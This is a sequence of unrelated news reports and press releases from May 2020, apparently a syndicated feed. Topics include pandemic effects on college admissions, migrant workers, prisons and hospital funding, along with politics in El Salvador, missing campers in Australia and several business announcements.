Kimani, 17, of Urbandale, Iowa, said this week that she is weighing offers from private Brown and Rice universities, among others. She had been on the wait list for the public University of California at Los Angeles. But in late April, UCLA made her an offer, and she's considering it.

UCLA's out-of-state tuition and fees for the coming year are about $43,000. That's nearly $30,000 more than the in-state rate but about $16,000 less than the cost at Brown.

For some students, deciding where to enroll may come down to how schools reopen in the fall. Stacy Hernandez, a college admissions consultant in Denver, said many families are reluctant to pay tuition if colleges are operating only online. "That's what I'm hearing over and over again," she said.

Brown's president, Christina Paxson, recently warned in an opinion piece published in the New York Times that schools must plan to open in the fall despite major questions about how to do it safely

"Most colleges and universities are tuition dependent," Paxson wrote. "Remaining closed in the fall means losing as much as half of our revenue."

A growing number, including large public universities in Texas and Arizona, are announcing their intention to open campuses in the fall.

Kimani said she doubts the pandemic will affect her decision-making. Even if campuses are closed for the fall term, she said, she will enroll at a college outside Iowa.

"I'm a pretty optimistic person," she said. "I'm just thinking that if I continue with going to school, everything will turn out to be okay in the end."

UCLA's vice provost for enrollment management, Youlonda Copeland-Morgan, said the university so far is meeting its targets for the incoming fall class. But initial numbers could provide a false sense of security.

Even in an ordinary year, some expected students who have placed a deposit "melt" away and do not enroll. This year, the melt could be extensive.

"Historically, UCLA's summer melt has been very low, but these are uncharted waters for all colleges," Copeland-Morgan said in an email. "Recognizing that some admitted students may decide to stay close to home, we will use our waitlist to invite as many of these well-deserving students as we can to become Bruins."

Georgia Tech has made several hundred offers since April to out-of-state students who had been on its waiting list, according to admission director Rick Clark. He said the public university in Atlanta counts on out-of-state enrollment to provide diversity to a campus where Georgians are the majority. "You promise your own in-state students, 'Hey, you don't have to go to far-flung places; we're going to bring the world to you,' " Clark said. But those out-of-state students also contribute hugely to the fiscal bottom line.

Clark said Georgia Tech built its largest wait list ever this year and could continue drawing from it well into the summer. College counselors say many seniors need that much time to sort out their plans.

"I have a good number who haven't made a decision yet, and we're having to go back and forth with universities," said Jessica Perez, an adviser with the nonprofit District College Access Program. Perez said deadline extensions have helped families who are struggling with whether going away to college is affordable and safe. "Parents are hesitant, students are hesitant," she said. "There's a lot of uncertainty right now."
Mohan Jha, a migrant labourer from Bihar, called his family excitedly to inform that he was finally boarding the train back home but was left numb with his five-year-old's question --"is it Diwali already?"



He did not have the heart to tell his son that they might not be able to celebrate the festival this year as he had no work.

Jha, who worked as a construction worker in Sohna near Gurgaon, has been out of work since the lockdown was announced to contain the spread of COVID-19. Struggling for nearly two months and managing to eat at community kitchens, he was finally able to board a train this week to Muzaffarpur in Bihar.

"I was trying to go back since two months. After a long wait my chance to board the train finally came. I called home in relief and my son asked if it is Diwali time already that I am coming back home. He had several questions about why is Diwali coming in summer this year. I felt heartbroken. I could not tell him that there may be no Diwali this year as there is no work," he told PTI.

"I am sure he might be expecting that I will be getting gifts for him too but I will have to disappoint him for some time now," he added.

Refusing to be clicked, Jha said, "My misery cannot be captured by any camera. All the world has to offer us is sympathy and nothing more."



Bharat Babu, who worked at the same construction site, said, "For our children, we are only home when it is Diwali or Chath time. They are too young to understand why are we making this surprise visit back home or that there may be no going back. The virus will deprive us of many Diwalis it seems".

While the government has permitted construction activities, the labourers say its not the same work for them on the ground.

"The contractors say there is no raw material and government has also given extra time to finish construction so there is no hurry. If the contractors still keep us, they will have to pay our balance, so nobody wants to keep us for now," Babu said.

Sharing the same concerns, 42-year-old Manjhi Kumar said, "I have been in Gurgaon for seven years and I was planing to bring my family here this year. My son was very excited about studying in a city school but all of those plans will have to be put off now. Don't know if I myself will come back here or will look for work there only."



"I had saved some money but now all of it is being used as there is no new income. My wife who used to work as a domestic help is also out of work. How long will we survive on the limited savings," he added.

Over 40,000 migrants left for Bihar's Muzaffarpur, Barauni and Kishanganj on Thursday from different places in Haryana through Shramik Special Trains.

According to the Haryana Chief Minister's Office, so far over 2.38 lakh migrants have been sent home from the state.

The country has been under a lockdown since March 25 to contain the spread of virus and the lockdown has now been extended till May 31.

Throwing economic activities out of gear, the lockdown rendered many homeless and out of money, beginning an exodus of migrants to their home states.

While trains and buses are being arranged for them, lakhs of them continue to wait for their "chance" as they struggle to make ends meet.

"I had registered as soon as the trains were announced and I managed to get my chance after struggling for weeks. I had no other option than to wait," Manjhi Kumar said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Pennsylvania state prisons  which have been locked down for nearly two months, keeping most prisoners in their cells at least 23 hours a day  will begin returning to a new normal on May 26 as coronavirus infections ebb across much of the state.

I dont think its smart to keep a whole system locked down, Corrections Secretary John Wetzel said Friday, outlining a plan that would gradually increase movement of prisoners as counties across Pennsylvania start to reopen. The plan includes quarantining new arrivals, as well as testing those being transferred or released. However, it does not include universal testing because, in Wetzels view, the tests can be inaccurate.

Wetzel praised the systems response for managing infection rates. What we did has clearly put us in a position where we can start working back to normal," he said.

But he also acknowledged that there had been full community spread at the states oldest operating prison, the State Correctional Institution Huntingdon, where two men died this week and 158 prisoners have tested positive.

 READ MORE: Pennsylvania prisoners are spending the pandemic locked in bathroom-like cells 23 hours a day.

According to Wetzel, infections there are now declining.

We built three additional isolation units to be able to separate symptomatic positive cases from the rest of the population, and I think that allowed us first and foremost to keep the number of individuals who needed hospitalization below the infrastructure of the community. There were a couple days there that were touch-and-go, frankly.

For those incarcerated at Huntingdon, though, anxiety is pretty high, with a matching distrust of the administration, said Darryl Johnson, a prisoner, who watched several friends removed to a quarantine site in the prisons gym.

Those returning from the gym explained that they wait until the very last minute to take those to the hospital who were put on respirators, he said. The vibe is akin to being a pig corralled in a slaughterhouse."

 READ MORE: He died in prison from the coronavirus  three days before a breakthrough in his 30-year fight to clear his name

Wetzel acknowledged that the design of Huntingdon  with its close quarters and its four-tier-high cell blocks with open-grate cell doors  is not conducive to containing the spread of infection.

Thats why some prisoners believe widespread testing was necessary there. If they dont start doing massive testing now, every inmate is going to get infected," said Glen Byrd.

The reopening plan calls for allowing prisoners to move in gradually larger groups, while maintaining social distancing. Like everyplace else, the prisons are rethinking how they handle such things as communal dining, installing plexiglass dividers on dining-hall tables or experimenting with to-go meals. In-person visits will not resume until the entire state is fully reopened, and its unclear what new safety measures will be instituted. Video visits, which were introduced in March as part of the pandemic response, will remain available, Wetzel said.

Advocates are urging the Department of Corrections to incorporate widespread testing into its reopening plans.

At least then you can know where your curve is, and you can try to precision-quarantine people in an environment where social distancing is impossible, said Robert Holbrook, an Abolitionist Law Center staffer who spent time at SCI Huntingdon in the 1990s. Hes concerned that when there are future outbreaks, lock downs will resume.

Right now, he said, the entire system is in solitary confinement, and that creates stress, particular among those with preexisting mental health issues.

Claire Shubik-Richards of the Pennsylvania Prison Society said her organization has been interviewing correctional medical experts for guidance on how to safely permit greater movement within the prisons. The feedback they received was that increased outdoor time  currently restricted to once every four days, or even once a week, in some institutions  is crucial.

In prisoner surveys, theyve heard that the atmosphere inside has grown tense.

Giving people outside time," she said, "is one way to mitigate that.
In a rush to get money to medical providers on the front lines of the pandemic, the federal government sent $2.3 million last month to Nix Health  a San Antonio hospital system that had permanently closed months before the citys first reported COVID-19 case.

The U.S. Department of Health and Human Services distributed $30 billion  from a $175 billion bailout fund for hospitals and other health care providers  to facilities serving Medicare patients based on the previous years billings. The grants were automatic; providers didnt have to request the funding.

That could explain why the shuttered Nix hospitals made the list of recipients.

After several months of staff layoffs, all six Nix locations, including Nix Medical Center on the River Walk, two behavioral health hospitals and a home health care agency, shut down by Dec. 2.

A spokesman for Los Angeles-based Prospect Medical Holdings Inc., the for-profit owner of the Nix Health, said the company already has returned the $2.3 million.

Overall, San Antonio medical providers collected more than $154 million in coronavirus relief funds, the most recent HHS data show.

Congress approved the bailout money through the Coronavirus Aid, Relief, and Economics Security Act and other federal programs. Critics question whether theres enough oversight of the grants, meant to cover the cost of treating COVID-19 patients and lost revenue.

Andrew Harnik / Associated Press

The biggest shares of the funding in San Antonio went to hospitals that have treated COVID-19 patients: Methodist Healthcare System, $38.6 million; Baptist Health System, $22.8 million; Bexar Countys University Health System, $13.8 million; and Christus Santa Rosa Health System, $7.6 million.

In addition to extra costs stemming from the outbreak, hospitals here and across Texas were hit with major financial losses because of government stay-at-home orders and a state ban  since lifted  on elective procedures. The result was a wave of canceled surgeries and outpatient appointments.

Federal funds also went to a major physician practice called U.S. Anesthesia Partners of Texas, UT Health San Antonio, the START Center for Cancer Care, Post Acute Medical hospitals and many home health agencies.

Southwest General Hospital, a 325-bed facility on the South Side owned by Dallas-based Steward Health Care System, received $1.2 million.

CentroMed, a nonprofit organization that operates a slew of primary care clinics, pulled in just over $1 million.

But some providers in the city received far less  16 got less than $100 in financial assistance. Acute Vision, a small eye practice on Bandera Road, was granted $4.

Julysa Sosa /For the Express-News

Many independent medical practices, which typically operate on tighter margins, reported losing half or more of its revenue because of fewer patient visits.

Nearly two-thirds of doctors said they were forced to apply for small business loans and other financial assistance, according Texas Medical Association, which surveyed 1,548 physicians earlier this month.

But even for hospitals that received much larger sums, the bailout funds probably arent enough to bail them out.

The American Hospital Association estimates the four-month financial impact for hospitals and health systems will surpass $200 billion, exceeding the amount set aside for CARES Act grants.

Texas Inc.: Get the best of business news sent directly to your inbox

Bob Owen / San Antonio Express-News

The federal funds will not cover all the revenue lost during the months of the pandemic, said Palmira Arellano, a spokeswoman for Methodist Healthcare System.

Methodist has treated nearly 400 COVID-19 patients, though not all were hospitalized, she said.

The seven-hospital system is co-owned by nonprofit Methodist Healthcare Ministries and Nashville-based HCA Healthcare, a for-profit operator of 186 hospitals that received a total of $700 million in CARES Act grants.

A Baptist Health System spokesperson declined to discuss the grants. Its Dallas-based parent company, Tenet Healthcare Corp., announced this week that it received about $616 million for its 65 hospitals, five of which are in San Antonio.

Baptist also operates several smaller micro-hospitals in San Antonio with Houston-based Emerus, which separately received $1.6 million in stimulus funds.

April was a brutal month for U.S. hospitals, said Jim Blake, managing director of Chicago-based hospital consulting firm Kaufman Hall. The companys new report, based on a survey of 800 hospitals, showed that steep patient-volume and revenue declines led to record-poor financial performance.

They are serving as the front lines of our battle against this virus, but the pandemic is threatening their fundamental financial viability at a time when we need them most, Blake said. The road to recovery will be difficult, and our health care system will be forever changed.

Transparency

The provider relief fund grants do not have to be repaid as long as the company meets the federal governments terms and conditions, which include submitting documents to substantiate that the funds are used appropriately.

An HHS spokeswoman said the agency will monitor the grants for fraud, and they will be subject to oversight by the departments office of the inspector general.

Still, its important for the public to know how stimulus funds are spent in order to hold the government accountable, said Greg LeRoy, executive director of Good Jobs First, a Washington, D.C.-based labor advocacy group.

He said hes concerned because President Donald Trump fired Glenn Fine, the inspector general who was first slated to head the Pandemic Response Accountability Committee. Trumps office also has issued guidance that seems to contradict the CARES Act on transparency issues.

LeRoys watchdog group built the website covidstimuluswatch.org to pair the CARES Act recipient data with facilities regulatory violations, previous government assistance, federal tax avoidance and CEO and worker pay practices.

Absent full public disclosure of who gets how much money and what they do with that money, we know from too many tragic cases that some companies will lay people off, fail to reinvest, or even move jobs off shore, he said.

More Information Top 10 San Antonio recipients of bailout funds More than $154 million in COVID-19 relief funds went to 839 area health care providers. 1. Methodist Healthcare System $38,626,195 2. Baptist Health System $22,814,468 3. University Health System $13,887,313 4. Christus Santa Rosa Health System $7,618,420 5. U.S. Anesthesia Partners of Texas $4,624,690 6. University of Texas Health Science Center at San Antonio $3,126,259 7. South Texas Oncology and Hematology/The START Center for Cancer Care $2,851,692 8. Post Acute Medical at San Antonio $2,643,067 9. Nix Hospitals System $2,363,867 10. The Medical Team Inc. $1,786,502 SOURCE: Centers for Disease Control and Prevention, Data.CDC.gov See More Collapse

Laura Garcia covers the health care industry in the San Antonio and Bexar County area. To read more from Laura, become a subscriber. laura.garcia@express-news.net | Twitter: @Reporter_Laura
Where leaders of countries in Latin America denied or dismissed the seriousness of the coronavirus, on the other end of the extreme, El Salvadorian President Nayib Bukele went to the extreme extent of implementing measures that threatened the peace and security of the country.

Vetoing the decree

In response, the Congress passed a law to continue the reopening of the country's economy to the earlier date instead of the proposed June 6 target. It would take eight days after the promulgation for it to take effect.

On his social media, Bukele warned he would veto the legislation in the belief that the date was too early for resumption of activities.

On Monday, he announced he would make a proposal to the congress that outlined the stages of how the economy would start to reopen. His proposed date, June 6, required an extension of fifteen more days of quarantine given the lawmakers' approval.

Over the course of the pandemic, Bukele exercised the extent of his presidential powers through the National Guard, who were known for giving drastic punishments to violators of the lockdowns and posting these events online. After such incidents, the president received criticisms that targeted his authoritarian leadership.

The Supreme Court ruled against Bukele's request to extend El Salvador's state of emergency when the Congress was yet to approve of the decision. The renewal would have enforced the strict quarantine measures for the following month, suspending school and banning gatherings.

The order clarified that the decision was still ongoing, and being deliberated by officials. Bukele assured that he would present a new proposal with a plan to restore and recover the economy on Tuesday. His only condition to Congress was that they must approve the two-week lockdown that would lower the curve of the pandemic.

Check these out!

Pandemic as leverage

Human rights advocates believe the Bukele administration was taking advantage of the national emergency to eliminate democratic checks and balances. Most of his responses to the criminal gangs in the country have been none less violent, as reports say.

United Nations security investigator Jeannette Aguilar expected El Salvador would be advancing towards a dictatorial regime based on how the president was directing priorities.

Executive director for the Americas in the advocacy group Human Rights Watch Jose Miguel Vivanco thought Bukele was showing complete disregard for institutional constraints. He added that the president must be making the most out of the pandemic to do his bidding.

Bukele knew it would be a tremendous loss to communities if the quarantine were lifted too soon. He shifted accountability to the congress.

At the time, lawmakers were scheduling for the Monday meeting. By such time, the national emergency decree would have expired and citizens would have lost benefits from the administration. This included the capacity for Salvadorans to defer utility, mortgage, and credit card payments.
Pune, May 22, 2020 (GLOBE NEWSWIRE) -- The global advanced energy storage system market size is predicted to reach USD 211 billion by 2026, exhibiting a CAGR of 4.82% during the forecast period. The growing requirement for transmission & distribution stations can be a critical factor bolstering the growth of the market during the forecast period, states Fortune Business Insights in a report, titled Advanced Energy Storage System Market Size, Share and Industry Analysis By Technology (Solid State Battery, Flow Battery, Thermal Energy Storage, Pumped Hydro Storage), By Application (Residential, Commercial, Industrial, Utility) and Regional Forecast 2019-2026 the market size stood at USD 145 billion in 2018. The growing procurement of renewable energy to cater to the rising demand for energy will enable speedy growth of the market.





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An Overview of the Impact of COVID-19 on this Market:

The emergence of COVID-19 has brought the world to a standstill. We understand that this health crisis has brought an unprecedented impact on businesses across industries. However, this too shall pass. Rising support from governments and several companies can help in the fight against this highly contagious disease. There are some industries that are struggling and some are thriving. Overall, almost every sector is anticipated to be impacted by the pandemic.

We are taking continuous efforts to help your business sustain and grow during COVID-19 pandemics. Based on our experience and expertise, we will offer you an impact analysis of coronavirus outbreak across industries to help you prepare for the future.





Click here to get the short-term and long-term impact of COVID-19 on this Market.



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Market Driver:

Rising Emphasis on Green Energy to Support Market Development

The growing focus of emerging countries towards green energy sources will foster the healthy growth of the market. The rising supply & demand for energy will create lucrative opportunities for the market. The expansion and upgradation of existing power grids will propel the market in the forthcoming years. The growing requirement for new infrastructure will contribute positively to the growth of the market. The rising popularity of electric vehicles will fuel demand for power stations, which in turn, will favor the growth of the market. Moreover, the growing concerns regarding air pollution and the importance of reducing carbon emissions are factors that will bode healthy for the market in the foreseeable future. Moreover, the rising employment of thermal energy storage (TES) systems in solar power (CSP) plants to store solar heat and generate electricity swiftly will aid the expansion of the market in the forthcoming years. In addition, the deployment of advanced energy storage systems to deliver uninterrupted supply during blackouts will spur opportunities for the market. The rising demand for Plug-In Electric Vehicles (PHEVs) in the automotive industry will influence the healthy growth of the market during the forecast period.



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Regional Analysis:

Rapid Transformation in Storage Systems to Aid Growth in North America

The market in North America is expected to rise rapidly during the forecast period owing to the stringent government policies and regulations regarding carbon emissions. The declining costs of storage technologies along with retrofitting of existing pumped hydro storage facilities will boost the market in the region. The rapid transformation in energy storage systems and new large-capacity projects will drive the market in North America. The market in Asia Pacific is expected to witness an exponential growth rate. The growth in the region is attributed to the focus on fossil fuels for energy supply. The rising energy demand and availability of cost-effective storage options in emerging countries will bolster the growth of the market. The growing utilization of reliable, safe, efficient, and sustainable electricity systems will foster the growth of the market. The increasing investment in advanced energy storage systems by major companies will create opportunities for the market in the region.

Key Development:

April 2019: General Electric announced that it has signed an agreement with Helios Energy to install two hybrid storage systems combined with solar arrays in New York, USA, operations are due in the mid of 2020.

April 2019, Shanxi Electric Power Engineering, subsidiary of China Energy Engineering Group, announced the development of 250 MW solar plants with one of the largest energy storage systems in the country.



List of the key Companies Operating in the Advanced Energy Storage System Market are:

ABB

AES Corporation

Ecoult Energy Storage Solutions

LG Chem Ltd.

Tesla Inc.

GS Yuasa Corporation

Samsung SDI Co.

General Electric

Mitsubishi Heavy Industries

Evapco Inc.

Panasonic Corporation

Saft Groupe S.A.

Hitachi Chems

Sonnen GmbH

Lockheed Martin





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Detailed Table of Content

Introduction Research Scope Market Segmentation Research Methodology Definitions and Assumptions

Executive Summary

Market Dynamics Market Drivers Market Restraints Market Opportunities

Key Insights Key Emerging Trends  For Major Countries Latest Technological Advancement Regulatory Landscape Porters Five Forces Analysis

Global Advanced Energy Storage Market Analysis (MW & US$ Mn), Insights and Forecast, 2015-2026 Key Findings Market Analysis, Insights and Forecast  By Technology Solid State Battery Flow Battery Thermal Energy Storage Pumped Hydro Storage Others Market Analysis, Insights and Forecast  By Application Residential Commercial Industrial Utility Market Analysis, Insights and Forecast  By Region North America Latin America Europe Asia Pacific Middle East & Africa



TOC Continued...!!!





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An 'oddball loner' living in the Victorian Alps was questioned by police as officers continue to hunt for clues in the disappearance of two campers.

Russell Hill, 74, and Carol Clay, 73, have been missing since March 19 after they went on a secret camping trip.

Mr Hill, who didn't tell his wife he was going away with long-time friend Ms Clay, went missing with the devoted grandmother in Victoria's Gippsland Valley.

Their disappearance has baffled local authorities who found their campsite burned out two days later.

But a lone camper has since become a person of interest, after concerns about his odd behaviour were raised by worried locals.

Carol Clay, 73, (pictured, left) was once the President of the Country Women's Association of Victoria, and went missing with experienced bushman Russell Hill (right)

The pair went missing in the Wonnangatta Valley, more than 200km north east of Melbourne

He is known to spend long periods in a remote bush camp, and was recently visited in Mansfield by missing persons investigators, the Herald Sun reported.

Mansfield sits 180km north-east of Melbourne, in the foothills of the Victorian Alps.

Police are reported to have had a long chat with the man, but discovered no new information about numerous local missing persons cases.

Described as an 'oddball character' by locals, the mystery man has been said to have scared hunters and hikers in the area.

The man is reported to have adopted an 'alternative lifestyle', but does not have a criminal record.

In his 70s, his is described as 'eccentric but intelligent', and often drives his 4WD to pick up supplies in Mansfield.

A burnt out campsite was found in remote bushland in Victoria's Wonnangatta Valley (pictured) after the friends went missing on March 19

Friends of devoted grandmother Carol Clay (pictured, right) were surprised to learn she had gone camping with one close friend describing her as a glamour queen

The mystery man is said to roam the High Country for weeks at a time, using a remote base camp near a weather station called 'The Crossroads'.

But there is no evidence that he is linked to Ms Clay and Mr Hill's disappearance, nor of other missing persons in the region.

Ms Clay and Mr Hill are just two of many people who have gone missing in the area over the past decade, four of them within just nine months.

His wife of 50 years, Robyn, previously admitted she had no idea her husband had gone camping with another woman.

She said her husband had been friendly with Ms Clay, who was once the President of the Country Women's Association of Victoria, for decades but was unaware they were travelling together.

Police suspect a number of items may have been taken from the campsite (pictured) including a drone which is now missing

The campsite of Russel Hill, 74, and Carol Clay, 73, was discovered by police on March 21 burned out (pictured) but there was no sign of the pair

It's suspected the blaze at their camp may have been started by a mobile phone charger that overheated inside a tent.

Mr Hill's Toyota four-wheel-drive was also found at the scene with possessions belonging to the couple still inside.

Investigators feared the pair may have become lost in the remote bushland, but haven't ruled out foul play - or that they vanished intentionally.

Two major search operations involving drones, helicopters, mounted police, search dogs and ground crews have come up with nothing.

But friends of Mr Hill who have been out camping with the avid outdoorsman say he knows the area well and would not have strayed far.

Mr Hill's wife Robyn, 71, said her husband (pictured, right) had been friendly with Carol Clay (left) for decades but had no idea they were travelling together when he went missing

Acting Sergeant Scott Wilkinson who was part of the team looking for the pair, said the search was substantial, but ultimately fruitless.

Bushwalker Niels Becker went missing at nearby Mt Stirling last October, while Conrad Whitlock went missing near Mt Buller last winter.

Mr Whitlock, a wealthy businessman, went missing in July - last being seen at his White Water Court home, before his BMW was found 20km away from Mansfield.

The Tomahawk Hut area was searched in 2011 after the peculiar disappearance of former prisons boss David Prideaux.

Mr Prideaux was declared dead in 2014 after going missing on Mt Stirling in July 2011.

He is believed to have been deer hunting with his brother-in-law, but vanished without a trace.

Detective Inspector Andrew Stamper of the Missing Persons Squad said police want to speak with anyone who may have seen the couple near the time they disappeared.

This is a real and traumatic mystery and we need all the help we can get via Crime Stoppers, Insp Stamper said.
BAKU, Azerbaijan, May 22

By Fidan Babayeva  Trend:

FINCA Azerbaijan Non-Bank Credit Organization (NBCO) issued loans to small and medium-sized enterprises (SMEs) in the total amount of over 15.3 million manat ($9 million) in 2019, a source in the organization told Trend.

According to the source, FINCA Azerbaijan issued 7,320 loans to SMEs last year.

Since the start of the organization's activities, it has issued loans worth over $1 billion. These funds were aimed at supporting of the SMEs in Baku and the regions, said the source.

Agricultural loans account for 70 percent of our loan portfolio, so customer service during the quarantine regime in the country is not a serious problem. During the pandemic, more than 70 percent of the head office employees were transferred to a remote mode of work, and the NBCOs branches continued to serve customers in accordance with the rules established by the Operational Headquarters under the Cabinet of Ministers, the source emphasized.

Touching upon the accomplishment of goals for 2019 and 2020, the source said that FINCA Azerbaijan opened 10 branches in 2019 and two branches in the first half of 2020, as a result of which the number of service networks in cities and regions of Azerbaijan reached 16, which led to increase in the number of loan applications from last year.

In March 2020, the pandemic affected the number of loan applications, which led to a decrease in operations. During this month, FINCA Azerbaijan continued to provide loans in accordance with the instructions and recommendations of the Operational Headquarters, individually evaluating customers' applications, the organization said.

The NBCO regularly reviews lending terms and applies changes that it considers appropriate to current market requirements.

FINCA Azerbaijan currently introduces a new FinCard innovative system, through which the customer withdraws the amount of loan from the card. The customer can use this amount at own discretion by withdrawing money partially or at once, as well as for various non-cash payments, added the source.

The NBCO has been operating in Azerbaijan since 1998. There are 16 branches of the organization in Baku and the country's districts. It is part of FINCA Impact Finance, a global network of 20 microfinance institutions and banks that render the innovative financial services to the low-income customers to help them expand their activity.

FINCA Azerbaijan, the country's leading non-bank credit organization, offers a variety of loan products to encourage small businesses to increase their revenues. The organization pays more attention to the agricultural loans.

(1 USD = 1.7 manat on May 22)

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Follow the author on Twitter: Fidan_Babaeva
Source: Xinhua| 2020-05-23 00:51:18|Editor: huaxia

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Oriental white storks fly over Caofeidian wetland in Tangshan, north China's Hebei Province, Nov. 5, 2019. (Xinhua/Yang Shiyao)

China has carried out a series of effective actions to conserve biodiversity and achieved remarkable results, said a UN official.



OTTAWA, May 22 (Xinhua) -- China has played a prominent role in the implementation of the Convention on Biological Diversity, a part of the UN environment program, the convention's Acting Executive Secretary Elizabeth Maruma Mrema said Thursday.

China has carried out a series of effective actions to conserve biodiversity and achieved remarkable results, said Mrema, ahead of the International Day for Biological Diversity which falls on Friday.

China has met the Aichi Biodiversity Targets of protecting 17 percent of terrestrial areas ahead of schedule, she said in an exclusive interview with Xinhua.

"Some species have come back after years of being gone. Significant progress has been made in wildlife protection," she said.

Staff members release a whooper swan into the wild at the Poyang Lake national natural reserve in east China's Jiangxi Province, Jan. 14, 2019. (Xinhua/Wan Xiang)

The secretary also spoke highly of the Chinese concept of ecological civilization. "China has also demonstrated its determination and action by adopting legislation to completely ban the illegal hunting, trading, transport, and consumption of wild animals," she said.

The 15th meeting of the Conference of the Parties to the Convention on Biological Diversity will be held in Kunming, China, with the theme of "Ecological Civilization: Building a Shared Future for All Life on Earth."

The conference of the parties is the governing body of the Convention on Biological Diversity, and advances implementation of the convention through the decisions it takes at its periodic meetings.

Mrema said the meeting is a very important milestone in the history of the biodiversity convention, as representatives from the convention parties, international, regional, non-governmental organizations, and the private sector will meet to reach an agreement on a new framework for action for the next decade, put the world on track to achieve the Vision 2050 of living in harmony with nature and align its targets with the 2030 Agenda for Sustainable Development. 
Victor Doc Westphall had a vision to honor soldiers killed in the Vietnam War.

In 1971, he began to develop a memorial site near Angel Fire.

This was after his son, Lt. David Westphall, died in an ambush at Con Thien in Quang Tri province, South Vietnam, in 1968.

Today, the Peace and Brotherhood Chapel in Angel Fire is a beacon of hope and healing. Westphalls journey is the subject of the documentary On This Hallowed Ground: Vietnam Veterans Memorial Born From Tragedy, by Sarah Kanafani.

This was the first memorial to honor both sides of the war, Kanafani says. (Victor) wanted it to be a place of healing. For a lot of men, it takes them many times to get through the grounds. There are efforts now trying to build a counseling clinic for family members for men. Its not just a museum that you walk through. Its a place for healing. I never got to meet Doc, but he would welcome any of these men to this home.

The documentary will air at 10 p.m. Sunday, May 24, and again at 8 p.m. Monday, May 25, on New Mexico PBS. It is also streaming online at nmpbs.org.

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New Mexico PBS believes it is important to present this award-winning, uniquely New Mexico film, from a New Mexico filmmaker, especially at this time, as the Vietnam Veterans Memorial in Angel Fire is a place of healing and honor, says Franz Joachim, General Manager and CEO, NMPBS. On this Memorial Day weekend, and throughout the year, New Mexico PBS presents programs which commemorate, honor, and may be of interest to those who serve, have served, and their families and friends.

Kanafani spent about two years working on the documentary.

The film originally started as a way to document the restoration of a Huey helicopter.

It was just going to focus on the restoration, she says. As I got to talking, I had no idea that the memorial existed. I grew up in Santa Fe. We went to Angel Fire and we saw this weird building. When I heard the story behind it, I was just floored. This needed to be bigger than a restoration video. I had to figure out how to meld the two stories.

The filming was done before a script was written.

A lot of the people that lived through this arent around anymore, she says. We had to capture the stories as quickly as we could.

It has received two Telly Awards, for best documentary and for editing.

Kanafani says that after Westphalls son died, the crushing news left him and his wife with an unavoidable question that haunts millions who have lost loved ones in wars: What do we do now?

For Westphall and his wife, Jeanne, their response was to honor the only thing that is worthy of honor in fatal conflict  the sons and daughters, mothers and fathers  who fought and bled when their country called.

Their response became a battle of its own.

Through financial struggles, political controversy and a broken spirit, they succeeded in building a place to heal the brokenhearted and honor their boy.

Finding a lot of the archival footage became tough, she says. There wasnt a lot of Doc or David in the younger years. Theres not footage or photos. Had we just focused on that, the film would have been about 15 minutes. That was the challenge, and we needed to make this more about the two men. Its an integral part of the film.

ON TV

The documentary On This Hallowed Ground: Vietnam Veterans Memorial Born From Tragedy will air at 10 p.m. Sunday, May 24, and again at 8 p.m. Monday, May 25, on New Mexico PBS. It is also streaming online at nmpbs.org.
Our Ocean Conference 2020 rescheduled to 7-8 December 2020

May 22,2020 | Source: OurOcean2020

he Government of the Republic of Palau has now announced the postponement of the Our Ocean Conference 2020, previously scheduled to be held from 17-18 August in Koror, Palau. The new dates will be 7-8 December 2020.



As the global dialogue turns to how to build back better, we must also implement blue recoveries, and take the opportunities to scale up ambition towards a sustainable ocean economy. The Our Ocean Conference 2020 will be the place to showcase partnership and commitments towards this blue recovery, said President Tommy E. Remengesau, Jr., President of the Republic of Palau.



Our Ocean 2020 will focus on six Areas of Action, convening partners from across the globe to identify solutions and make commitments to manage marine resources, increase the oceans resilience to climate change and safeguard its health for generations to come.



The conference invites governments, civil society organisations and businesses to submit new commitments, updates on previous commitments, and proposals for side events from June 2020 onwards.



Invitations to participate and a provisional conference agenda will be issued in September 2020. Further information will be posted on the Our Ocean Conference 2020 website in due course.



Please see further information at: https://www.ourocean2020.pw/palau-bringing-local-to-global-action-at-our-ocean-conference-2020/



Queries can be sent to info@ourocean2020.pw

Theme(s): Others.
SAN MATEO, Calif., May 22, 2020 /PRNewswire/ -- Paine Schwartz Partners ("Paine Schwartz"), a global leader in sustainable food chain investing, today announced that Renata Malavazzi has joined the firm as General Counsel and Chief Compliance Officer.

Ms. Malavazzi brings significant experience in private equity investments, mergers and acquisitions, and general corporate matters. Prior to joining Paine Schwartz, Ms. Malavazzi was a partner of the Corporate team at Kirkland & Ellis LLP in New York.

Kevin Schwartz, Chief Executive Officer and a founding Partner of Paine Schwartz, said, "We are pleased to welcome Renata to Paine Schwartz. She brings significant expertise managing complex legal and compliance matters in the private equity sector, and her international experience makes her a perfect fit for our global reach."

Ms. Malavazzi said, "I have long respected the team at Paine Schwartz, and it is an honor to join the firm as General Counsel and Chief Compliance Officer. I look forward to supporting the firm's growth and success through its focus on sustainable food chain investing."

About Renata Malavazzi

Renata Malavazzi previously served as a partner in the private equity team at Kirkland & Ellis LLP in New York from 2011 to 2020. Prior to that, she was an associate at Brazilian law firm Cescon Barrieu. Ms. Malavazzi holds a J.D. from Pontificia Universidade Catolica de Sao Paulo and an LL.M from the University of Chicago Law School. She was born and raised in Sao Paulo, Brazil.

About Paine Schwartz Partners

A global leader in sustainable food chain investing, Paine Schwartz Partners is a private equity firm focused exclusively on investment opportunities in the fast-growing, dynamic global food and agribusiness sectors. The firm's investment, operations and finance professionals invest throughout cycles across the food and agribusiness value chain, and bring a collaborative and active management approach to portfolio companies. For further information, please see www.paineschwartz.com.

Contacts:

Andy Brimmer / Aaron Palash

Joele Frank, Wilkinson Brimmer Katcher

+1 212-355-4449

SOURCE Paine Schwartz Partners

Related Links

http://www.paineschwartz.com


By Satvik Kulshrestha and Karan Kalra

Facing unprecedented times, India, like most countries, is struggling to reduce the impact of the impending economic slump.

Soon after India went into a nationwide lockdown on March 24, RBI came out with its Covid-19 Regulatory package on March 27, 2020 together with a press release on the same date incorporating several measures to curb the impact of the pandemic on the financial sector and inter alia, allowing for repayment moratoriums and relaxed norms for working capital facilities. What ensued was a flurry of queries and legal pronouncements that seem to indicate the intention of different courts to pass 'equity-based' judgements and at some level question the sanctity of a borrower  lender relationship. More importantly, they raise a very core debate on 'where does the buck stop?'

Dealing first with the RBI circular and some developments around the same.

The circular provides that for all term loans (including credit card dues), all commercial banks, including regional rural banks, co-operative banks, all-India financial institutions, non-banking finance companies and housing financing companies (collectively, "Financial Institutions") 'are permitted' to grant a moratorium for up to 3 months on the payment of all installments failing due between March 1, 2020 and May 31, 2020 ("moratorium period") to their borrowers ("moratorium").

